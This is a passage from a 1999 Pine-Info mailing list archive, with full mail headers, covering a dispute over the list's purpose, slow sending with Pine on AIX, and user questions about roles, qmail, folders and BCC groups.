(eg, certainly up to 3.95). Because of this we keep getting new people appearing on Pine-Info and asking user-type questions because they have been told this is the place to go for help. > There's nothing wrong with the name of this list. This is a place to get > information. A *LOT* is wrong with this list ... I used to be a frequent contribuor to it but have scaled back my efforts considerably. Partly this is due to pressure of work here at present, but largely it is due to the changed nature and "pleasantness" of this list. Originally it was a forum where users and administrators happily co-existed, and the latter were willing to help the former. Then came a substantial increase in the number of sites running Pine, coupled with the bidirectional gatewaying of Pine-Info to comp.mail.pine. The result was a vast increase in user-type questions, which seemed to flood the list and annoy many admin-type participants. Then the gatewaying broke down, and it was eventually decided to leave it down so that comp.mail.pine was for user-type questions and Pine-Info was for admin-type ones. Problems here are: * There are still too many references out there indicating Pine-Info is the place to go for users with questions; * There doesn't appear to be a regular posting reminding newcomers to use comp.mail.pine instead for user-enquiries (although I guess this may not be included in the subscription info -- I haven't had to re-join the list for years and so haven't seen this lately); * Usenet News is not available to everyone, and so requiring users to use a newsgroup to access their questions makes it difficult or impossible for some; * Some of the admin-types currently on Pine-Info give very short shrift to users asking "user-questions" resulting in messages, and sometimes entire threads, of less than pleasant exchanges. It is easier to persuade a smaller proportion of administrators to change to a new list than a large number of end users. Just my thoughts... Cheers, Mike B-) PS. I have carefully NOT cc'd you a copy of this reply directly despite your not requesting this explicitly in your message, and even though it took a fraction more of my time to do so. :-) M B-) -- The Computing Service, University of York, Heslington, York Yo10 5DD, UK Tel: +44-1904-433811 FAX: +44-1904-433740 http://www.york.ac.uk/~pmb1/ * Unsolicited commercial e-mail is NOT welcome at this e-mail address. * From pinedev@shiva0.cac.washington.edu Sun ??? 0 00:00:00 1970 +0000 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+pine-info; Mon, 15 Feb 1999 09:33:15 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id JAA05394 for ; Mon, 15 Feb 1999 09:33:14 -0800 (PST) Received: from lists2.u.washington.edu (root@lists2.u.washington.edu [140.142.56.1]) by mx2.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id JAA22637; Mon, 15 Feb 1999 09:33:12 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by lists2.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with SMTP id JAA13257; Mon, 15 Feb 1999 09:30:48 -0800 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with ESMTP id JAA18206 for ; Mon, 15 Feb 1999 09:28:12 -0800 Received: from public.ndh.com (public.ndh.net [194.97.97.21]) by mxu3.u.washington.edu (8.9.1+UW98.09/8.9.1+UW98.09) with ESMTP id JAA22484 for ; Mon, 15 Feb 1999 09:28:11 -0800 Received: from radioactive.socha.net (root@port243.koeln.ndh.net [195.94.92.243]) by public.ndh.com (8.8.7/8.8.0) with ESMTP id SAA22150 for ; Mon, 15 Feb 1999 18:28:06 +0100 (MET) Received: (from robin@localhost) by radioactive.socha.net (8.8.7/8.8.7) id SAA01548; Mon, 15 Feb 1999 18:26:43 +0100 Message-Id: Date: 15 Feb 1999 18:26:42 +0100 Sender: PINE-INFO-owner@u.washington.edu Precedence: bulk From: "Robin S. Socha" To: Pine Discussion Forum Subject: Re: We need a new list In-Reply-To: Mike Brudenell's message of "Mon, 15 Feb 1999 09:54:13 +0000 ("GMT)" References: MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-To: Pine Discussion Forum X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN * Mike Brudenell writes: > On Sun, 14 Feb 1999, Adam H. Kerman wrote: >> There's nothing wrong with the name of this list. This is a place to get >> information. > A *LOT* is wrong with this list ... I used to be a frequent contributor > to it but have scaled back my efforts considerably. Me too, me too!!! > [...] largely it is due to the changed nature and "pleasantness" of this > list. You should, like, get a jolly life and stuff, Mike. > Problems here are: > * There are still too many references out there indicating Pine-Info is > the place to go for users with questions; The documentation is seriously in many places. 4.x wasn't mature enough when first released. Therefore, e.g. my university didn't upgrade. > * There doesn't appear to be a regular posting reminding newcomers to use > comp.mail.pine instead for user-enquiries There used to be one IIRC. > * Usenet News is not available to everyone, and so requiring users to use > a newsgroup to access their questions makes it difficult or impossible > for some; Add this to your statement: using pine as a newsreader is irksome, to say the least. > * Some of the admin-types currently on Pine-Info give very short shrift > to users asking "user-questions" resulting in messages, and sometimes > entire threads, of less than pleasant exchanges. This didn't come out of nowhere, did it? I don't know what make pine users exceptionally prone to asking 100% braindead luser questions but, hey!, it doesn't happen on either nor although both have a lot more traffic. > It is easier to persuade a smaller proportion of administrators to change > to a new list than a large number of end users. Scoring (vulgo known as killfiling) helps a lot, too. After a couple of months, you get almost 0% lusers. The problem is, that there are only 6 people left. > PS. I have carefully NOT cc'd you a copy of this reply directly despite > your not requesting this explicitly in your message, and even though it > took a fraction more of my time to do so. :-) Hooks. You want hooks. Or even better: posting styles. For each Mailing List. For each Newsgroup. For each induhvidual. Robin -- Robin S. Socha From pinedev@shiva0.cac.washington.edu Sun ??? 0 00:00:00 1970 +0000 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+pine-info; Tue, 16 Feb 1999 11:26:18 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id LAA24150 for ; Tue, 16 Feb 1999 11:26:17 -0800 (PST) Received: from lists2.u.washington.edu (root@lists2.u.washington.edu [140.142.56.1]) by mx2.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id LAA14382; Tue, 16 Feb 1999 11:26:15 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by lists2.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with SMTP id LAA16811; Tue, 16 Feb 1999 11:23:34 -0800 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with ESMTP id LAA26014 for ; Tue, 16 Feb 1999 11:19:54 -0800 Received: from mtiwmhc05.worldnet.att.net (mtiwmhc05.worldnet.att.net [204.127.131.40]) by mxu4.u.washington.edu (8.9.1+UW98.09/8.9.1+UW98.09) with ESMTP id LAA22074 for ; Tue, 16 Feb 1999 11:19:53 -0800 Received: from DAD ([12.72.35.199]) by mtiwmhc05.worldnet.att.net (InterMail v03.02.07 118 124) with SMTP id <19990216191951.DJJN1148@DAD> for ; Tue, 16 Feb 1999 19:19:51 +0000 Received: by DAD with Microsoft Mail id <01BE59A6.65032260@DAD>; Tue, 16 Feb 1999 12:18:00 -0700 Message-Id: <01BE59A6.65032260@DAD> Date: Tue, 16 Feb 1999 12:17:59 -0700 Sender: PINE-INFO-owner@u.washington.edu Precedence: bulk From: Roger Sabin To: Pine Discussion Forum Subject: AIX Slow Sendmail MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable X-To: "'Pine Mail List'" X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN I am helping a company setup Pine on an AIX RS6000 box. (Don't know the = AIX version, but the box was purchased within the last year.) Pine = appears to be sending messages, but it takes a looooong time to process = the send. The screen shows "sending 0%" for a very long time. Is this = correct? Can it be fixed? Roger Sabin rasabin@worldnet.att.net -- ----------------------------------------------------------------- For information about this mailing list, and its archives, see: http://www.washington.edu/pine/pine-info/ ----------------------------------------------------------------- From pinedev@shiva0.cac.washington.edu Sun ??? 0 00:00:00 1970 +0000 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+pine-info; Tue, 16 Feb 1999 11:59:52 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id LAA24945 for ; Tue, 16 Feb 1999 11:59:51 -0800 (PST) Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2]) by mx2.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id LAA15323; Tue, 16 Feb 1999 11:59:49 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by lists4.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with SMTP id LAA05268; Tue, 16 Feb 1999 11:48:08 -0800 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with ESMTP id LAA28764 for ; Tue, 16 Feb 1999 11:45:05 -0800 Received: from pacs04.infoave.net (IDENT:21C27E53@pacs04.InfoAve.Net [165.166.0.14]) by mxu2.u.washington.edu (8.9.1+UW98.09/8.9.1+UW98.09) with ESMTP id LAA18443 for ; Tue, 16 Feb 1999 11:45:05 -0800 Received: from ipc.condell.com ("port 65467"@[206.151.216.5]) by InfoAve.Net (PMDF V5.1-12 #23426) with SMTP id <01J7TCT39XSE9JE1IH@InfoAve.Net> for pine-info@u.washington.edu; Tue, 16 Feb 1999 14:44:11 EST Received: from world.std.com by ipc.condell.com (SMI-8.6/SMI-SVR4) id OAA17039; Tue, 16 Feb 1999 14:43:21 -0500 Message-Id: <36C9CAC6.F41735B5@world.std.com> Date: Tue, 16 Feb 1999 14:45:10 -0500 Sender: PINE-INFO-owner@u.washington.edu Precedence: bulk From: Jeff A Kinsey To: Pine Discussion Forum Subject: Re: AIX Slow Sendmail References: <01BE59A6.65032260@DAD> MIME-version: 1.0 Content-type: text/plain; charset=us-ascii Content-transfer-encoding: 7bit X-To: Pine Discussion Forum X-Accept-Language: en X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN obviously, we sun solaris fans are going to suggest a hardware switch -jeff Roger Sabin wrote: > I am helping a company setup Pine on an AIX RS6000 box. (Don't know the AIX version, but the box was purchased within the last year.) Pine appears to be sending messages, but it takes a looooong time to process the send. The screen shows "sending 0%" for a very long time. Is this correct? Can it be fixed? > > Roger Sabin > rasabin@worldnet.att.net > > -- > ----------------------------------------------------------------- > For information about this mailing list, and its archives, see: > http://www.washington.edu/pine/pine-info/ > ----------------------------------------------------------------- From pinedev@shiva0.cac.washington.edu Sun ??? 0 00:00:00 1970 +0000 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+pine-info; Tue, 16 Feb 1999 12:38:01 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id MAA25717 for ; Tue, 16 Feb 1999 12:38:00 -0800 (PST) Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2]) by mx2.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id MAA16386; Tue, 16 Feb 1999 12:37:58 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by lists4.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with SMTP id MAA08077; Tue, 16 Feb 1999 12:35:45 -0800 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with ESMTP id MAA25040 for ; Tue, 16 Feb 1999 12:32:50 -0800 Received: from bcx01.co.boulder.co.us (swcxt@bcx01.co.boulder.co.us [161.98.128.4]) by mxu2.u.washington.edu (8.9.1+UW98.09/8.9.1+UW98.09) with ESMTP id MAA26142 for ; Tue, 16 Feb 1999 12:32:50 -0800 Received: from localhost (swcxt@localhost) by bcx01.co.boulder.co.us (8.9.2/8.9.2) with ESMTP id NAA36196 for ; Tue, 16 Feb 1999 13:32:48 -0700 Message-Id: Date: Tue, 16 Feb 1999 13:32:48 -0700 (MST) Sender: PINE-INFO-owner@u.washington.edu Precedence: bulk From: Shane Castle To: Pine Discussion Forum Subject: Re: AIX Slow Sendmail In-Reply-To: <01BE59A6.65032260@DAD> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-To: Pine Discussion Forum X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN On Tue, 16 Feb 1999, Roger Sabin wrote (without using his enter key): >I am helping a company setup Pine on an AIX RS6000 box. (Don't know >the AIX version, but the box was purchased within the last year.) Pine >appears to be sending messages, but it takes a looooong time to process >the send. The screen shows "sending 0%" for a very long time. Is this >correct? Can it be fixed? I have no problems at all with pine on ours (AIX 4.1.5, Pine 4.10, sendmail 8.9.2, RS6000 7015-R50). You will have to answer these questions: What release of AIX? Is the sendmail the one shipped with AIX or is it locally built? If locally built, what release is it? What release of Pine? Was Pine built correctly? (sometimes a matter of personal preference) The answer might lie in none of the above. Improper DNS configurations have been known to cause slow MUA communications with sendmail. Check the /etc/resolv.conf and if there is an /etc/netsvc.conf. Do they have the correct information in them? -- Shane Castle Boulder County Info Svcs Boulder CO USA From pinedev@shiva0.cac.washington.edu Sun ??? 0 00:00:00 1970 +0000 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+pine-info; Wed, 17 Feb 1999 05:05:25 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id FAA10550 for ; Wed, 17 Feb 1999 05:05:24 -0800 (PST) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx1.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id FAA25950; Wed, 17 Feb 1999 05:05:22 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with SMTP id FAA25736; Wed, 17 Feb 1999 05:04:27 -0800 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with ESMTP id FAA24378 for ; Wed, 17 Feb 1999 05:01:30 -0800 Received: from fig.mail.easynet.net (fig.mail.easynet.net [195.40.1.46]) by mxu2.u.washington.edu (8.9.1+UW98.09/8.9.1+UW98.09) with SMTP id FAA26362 for ; Wed, 17 Feb 1999 05:01:29 -0800 Received: (qmail 19789 invoked from network); 17 Feb 1999 13:01:27 -0000 Received: from poblical.easynet.co.uk (HELO kara) (193.131.250.190) by fig.mail.easynet.net with SMTP; 17 Feb 1999 13:01:27 -0000 Message-Id: <36CABDC0.7006@easynet.co.uk> Date: Wed, 17 Feb 1999 13:01:52 +0000 Reply-To: poblical@easynet.co.uk Sender: PINE-INFO-owner@u.washington.edu Precedence: bulk From: James Bakewell To: Pine Discussion Forum Subject: Qmail MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN Does any one know if pine ships as part of qmail for UNIX and qmail for NT. Regards James -- ----------------------------------------------------------------- For information about this mailing list, and its archives, see: http://www.washington.edu/pine/pine-info/ ----------------------------------------------------------------- From pinedev@shiva0.cac.washington.edu Sun ??? 0 00:00:00 1970 +0000 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+pine-info; Wed, 17 Feb 1999 12:06:20 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id MAA16574 for ; Wed, 17 Feb 1999 12:06:19 -0800 (PST) Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2]) by mx2.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id MAA11125; Wed, 17 Feb 1999 12:06:17 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists4.u.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with SMTP id MAA16471; Wed, 17 Feb 1999 12:01:32 -0800 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with ESMTP id LAA29908 for ; Wed, 17 Feb 1999 11:53:18 -0800 Received: from smtp.gospelcom.net (smtp.gospelcom.net [204.253.132.6]) by mxu3.u.washington.edu (8.9.1+UW98.09/8.9.1+UW98.09) with SMTP id LAA06979 for ; Wed, 17 Feb 1999 11:53:17 -0800 Received: (qmail 19694 invoked from network); 17 Feb 1999 14:51:40 -0500 Received: from jabbok.gospelcom.net (HELO tarsus.gf.gospelcom.net) (204.253.132.4) by smtp.gospelcom.net with SMTP; 17 Feb 1999 14:51:40 -0500 Message-Id: Date: Wed, 17 Feb 1999 14:43:33 -0500 Sender: PINE-INFO-owner@u.washington.edu Precedence: bulk From: Topher To: Pine Discussion Forum Subject: roles MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Sender: topher@tarsus X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN I've been playing with Roles a bit. I got one to work just fine, and it worked for about 10 minutes. I added a second role, and then niether worked. I deleted the second one, but it didn't help. I've got 4.10 on and SGI with Irix 6.2 I'm not getting any error messages or anything, it just never asks me if I want to use the role (I have always confirm turned on). I'm not using a role file, merely the pinerc format. Any suggestions? Topher Tech Support topher@gospelcom.net Gospel Communications Network -- ----------------------------------------------------------------- For information about this mailing list, and its archives, see: http://www.washington.edu/pine/pine-info/ ----------------------------------------------------------------- From pinedev@shiva0.cac.washington.edu Sun ??? 0 00:00:00 1970 +0000 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+pine-info; Wed, 17 Feb 1999 21:49:59 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id VAA25055 for ; Wed, 17 Feb 1999 21:49:57 -0800 (PST) Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2]) by mx2.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id VAA23414; Wed, 17 Feb 1999 21:49:55 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists4.u.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with SMTP id VAA25437; Wed, 17 Feb 1999 21:48:03 -0800 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with ESMTP id VAA42966 for ; Wed, 17 Feb 1999 21:44:26 -0800 Received: from hotmail.com (wya-lfd106.hotmail.com [207.82.252.170]) by mxu4.u.washington.edu (8.9.1+UW98.09/8.9.1+UW98.09) with SMTP id VAA05830 for ; Wed, 17 Feb 1999 21:44:25 -0800 Received: (qmail 23980 invoked by uid 0); 18 Feb 1999 05:44:22 -0000 Received: from 202.141.24.2 by www.hotmail.com with HTTP; Wed, 17 Feb 1999 21:44:21 PST Message-Id: <19990218054422.23979.qmail@hotmail.com> Date: Wed, 17 Feb 1999 21:44:21 PST Sender: PINE-INFO-owner@u.washington.edu Precedence: bulk From: "Krishnakumar Subramanian" To: Pine Discussion Forum Subject: read-messages Mime-Version: 1.0 Content-type: text/plain X-Originating-IP: [202.141.24.2] X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN Is there any way I could redirect read messages after it has been read? As of now, all the read messages go to read-messages folder after it has been read, by default. I would like to send the messages comming from a perticular address to a specific folder after it has been read. Thank you. ______________________________________________________ Get Your Private, Free Email at http://www.hotmail.com -- ----------------------------------------------------------------- For information about this mailing list, and its archives, see: http://www.washington.edu/pine/pine-info/ ----------------------------------------------------------------- From pinedev@shiva0.cac.washington.edu Sun ??? 0 00:00:00 1970 +0000 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+pine-info; Thu, 18 Feb 1999 01:16:21 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id BAA15954 for ; Thu, 18 Feb 1999 01:16:20 -0800 (PST) Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2]) by mx1.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id BAA17213; Thu, 18 Feb 1999 01:16:18 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists4.u.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with SMTP id BAA00675; Thu, 18 Feb 1999 01:13:37 -0800 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with ESMTP id BAA28994 for ; Thu, 18 Feb 1999 01:09:49 -0800 Received: from mtiwmhc04.worldnet.att.net (mtiwmhc04.worldnet.att.net [204.127.131.39]) by mxu1.u.washington.edu (8.9.1+UW98.09/8.9.1+UW98.09) with ESMTP id BAA15244 for ; Thu, 18 Feb 1999 01:09:48 -0800 Received: from DAD ([12.72.32.152]) by mtiwmhc04.worldnet.att.net (InterMail v03.02.07 118 124) with SMTP id <19990218090946.QQP26911@DAD>; Thu, 18 Feb 1999 09:09:46 +0000 Received: by DAD with Microsoft Mail id <01BE5AE1.E143A200@DAD>; Thu, 18 Feb 1999 01:56:20 -0700 Message-Id: <01BE5AE1.E143A200@DAD> Date: Thu, 18 Feb 1999 01:56:18 -0700 Sender: PINE-INFO-owner@u.washington.edu Precedence: bulk From: Roger Sabin To: Pine Discussion Forum Subject: RE: AIX Slow Sendmail MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-To: "'Shane Castle'" , "'Pine Mail List'" X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN To answer your questions: AIX 4.3 Using whatever version of sendmail was shipped Pine 4.05 Downloaded pine-bin.aix4.2, did not build our own copy of Pine We do not have /etc/resolv.conf or /etc/netsvc.conf. We are only using Pine internally for now. Any ideas? Roger Sabin rasabin@worldnet.att.net -----Original Message----- From: Shane Castle [SMTP:swcxt@co.boulder.co.us] Sent: Tuesday, February 16, 1999 1:33 PM To: Pine Discussion Forum Subject: Re: AIX Slow Sendmail On Tue, 16 Feb 1999, Roger Sabin wrote (without using his enter key): >I am helping a company setup Pine on an AIX RS6000 box. (Don't know >the AIX version, but the box was purchased within the last year.) Pine >appears to be sending messages, but it takes a looooong time to process >the send. The screen shows "sending 0%" for a very long time. Is this >correct? Can it be fixed? I have no problems at all with pine on ours (AIX 4.1.5, Pine 4.10, sendmail 8.9.2, RS6000 7015-R50). You will have to answer these questions: What release of AIX? Is the sendmail the one shipped with AIX or is it locally built? If locally built, what release is it? What release of Pine? Was Pine built correctly? (sometimes a matter of personal preference) The answer might lie in none of the above. Improper DNS configurations have been known to cause slow MUA communications with sendmail. Check the /etc/resolv.conf and if there is an /etc/netsvc.conf. Do they have the correct information in them? -- Shane Castle Boulder County Info Svcs Boulder CO USA From pinedev@shiva0.cac.washington.edu Sun ??? 0 00:00:00 1970 +0000 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+pine-info; Thu, 18 Feb 1999 06:11:34 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id GAA32268 for ; Thu, 18 Feb 1999 06:11:32 -0800 (PST) Received: from lists2.u.washington.edu (root@lists2.u.washington.edu [140.142.56.1]) by mx2.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id GAA30135; Thu, 18 Feb 1999 06:11:30 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists2.u.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with SMTP id GAA18825; Thu, 18 Feb 1999 06:09:35 -0800 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with ESMTP id GAA11942 for ; Thu, 18 Feb 1999 06:06:36 -0800 Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by mxu2.u.washington.edu (8.9.1+UW98.09/8.9.1+UW98.09) with ESMTP id GAA25941 for ; Thu, 18 Feb 1999 06:06:35 -0800 Received: from shrike.depaul.edu (zrab@shrike.depaul.edu [140.192.1.10]) by mx1.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id GAA21349 for ; Thu, 18 Feb 1999 06:06:35 -0800 Received: from localhost (zrab@localhost) by shrike.depaul.edu (8.8.3/8.5) with SMTP id IAA06887; Thu, 18 Feb 1999 08:03:24 -0600 (CST) Message-Id: Date: Thu, 18 Feb 1999 08:03:22 -0600 (CST) Sender: PINE-INFO-owner@u.washington.edu Precedence: bulk From: Zoltan RAB To: Pine Discussion Forum Subject: Re: BCC In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-To: pine-info@cac.washington.edu X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN Dear Sir or Madam, I tried to set up a group in my PINE addressbook, and I did not want the recepients to see who else received the message. It is possible at creating a message to define a BCC, however it is not available in the addressbook itself. Is there any reason for that? By the way, DePaul University is using version 3.95 of Pine. Is there a newer one than this? I appreciate your response, Zoltan Rab From pinedev@shiva0.cac.washington.edu Sun ??? 0 00:00:00 1970 +0000 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+pine-info; Thu, 18 Feb 1999 14:36:56 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id OAA09198 for ; Thu, 18 Feb 1999 14:36:55 -0800 (PST) Received: from lists2.u.washington.edu (root@lists2.u.washington.edu [140.142.56.1]) by mx1.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id OAA01431; Thu, 18 Feb 1999 14:36:53 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists2.u.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with SMTP id OAA26128; Thu, 18 Feb 1999 14:31:44 -0800 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with ESMTP id OAA21824 for ; Thu, 18 Feb 1999 14:28:05 -0800 Received: from shiva2.cac.washington.edu (shiva2.cac.washington.edu [140.142.100.202]) by mxu3.u.washington.edu (8.9.1+UW98.09/8.9.1+UW98.09) with ESMTP id OAA30246 for ; Thu, 18 Feb 1999 14:28:04 -0800 Received: from D-140-142-110-210.dhcp.washington.edu (D-140-142-110-210.dhcp.washington.edu [140.142.110.210]) by shiva2.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id OAA27881; Thu, 18 Feb 1999 14:28:00 -0800 Message-Id: Date: Thu, 18 Feb 1999 14:29:45 -0800 (Pacific Standard Time) Sender: PINE-INFO-owner@u.washington.edu Precedence: bulk From: Terry Gray To: Pine Discussion Forum Subject: RE: AIX Slow Sendmail In-Reply-To: <01BE5AE1.E143A200@DAD> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-To: Roger Sabin X-Cc: Pine Discussion Forum X-X-Sender: gray@shivams.cac.washington.edu X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN If you set smtp-server to localhost, does that help/hurt? -teg On Thu, 18 Feb 1999, Roger Sabin wrote: > To answer your questions: > > AIX 4.3 > Using whatever version of sendmail was shipped > Pine 4.05 > Downloaded pine-bin.aix4.2, did not build our own copy of Pine > We do not have /etc/resolv.conf or /etc/netsvc.conf. We are only using > Pine internally for now. > > Any ideas? > > Roger Sabin > rasabin@worldnet.att.net > > -----Original Message----- > From: Shane Castle [SMTP:swcxt@co.boulder.co.us] > Sent: Tuesday, February 16, 1999 1:33 PM > To: Pine Discussion Forum > Subject: Re: AIX Slow Sendmail > > On Tue, 16 Feb 1999, Roger Sabin wrote (without using his enter key): > > >I am helping a company setup Pine on an AIX RS6000 box. (Don't know > >the AIX version, but the box was purchased within the last year.) Pine > >appears to be sending messages, but it takes a looooong time to process > >the send. The screen shows "sending 0%" for a very long time. Is this > >correct? Can it be fixed? > > I have no problems at all with pine on ours (AIX 4.1.5, Pine 4.10, > sendmail 8.9.2, RS6000 7015-R50). You will have to answer these > questions: > > What release of AIX? > Is the sendmail the one shipped with AIX or is it locally built? > If locally built, what release is it? > What release of Pine? > Was Pine built correctly? (sometimes a matter of personal preference) > > The answer might lie in none of the above. Improper DNS configurations > have been known to cause slow MUA communications with sendmail. Check the > /etc/resolv.conf and if there is an /etc/netsvc.conf. Do they have the > correct information in them? > > From pinedev@shiva0.cac.washington.edu Sun ??? 0 00:00:00 1970 +0000 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+pine-info; Fri, 19 Feb 1999 11:11:37 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id LAA27331 for ; Fri, 19 Feb 1999 11:11:36 -0800 (PST) Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2]) by 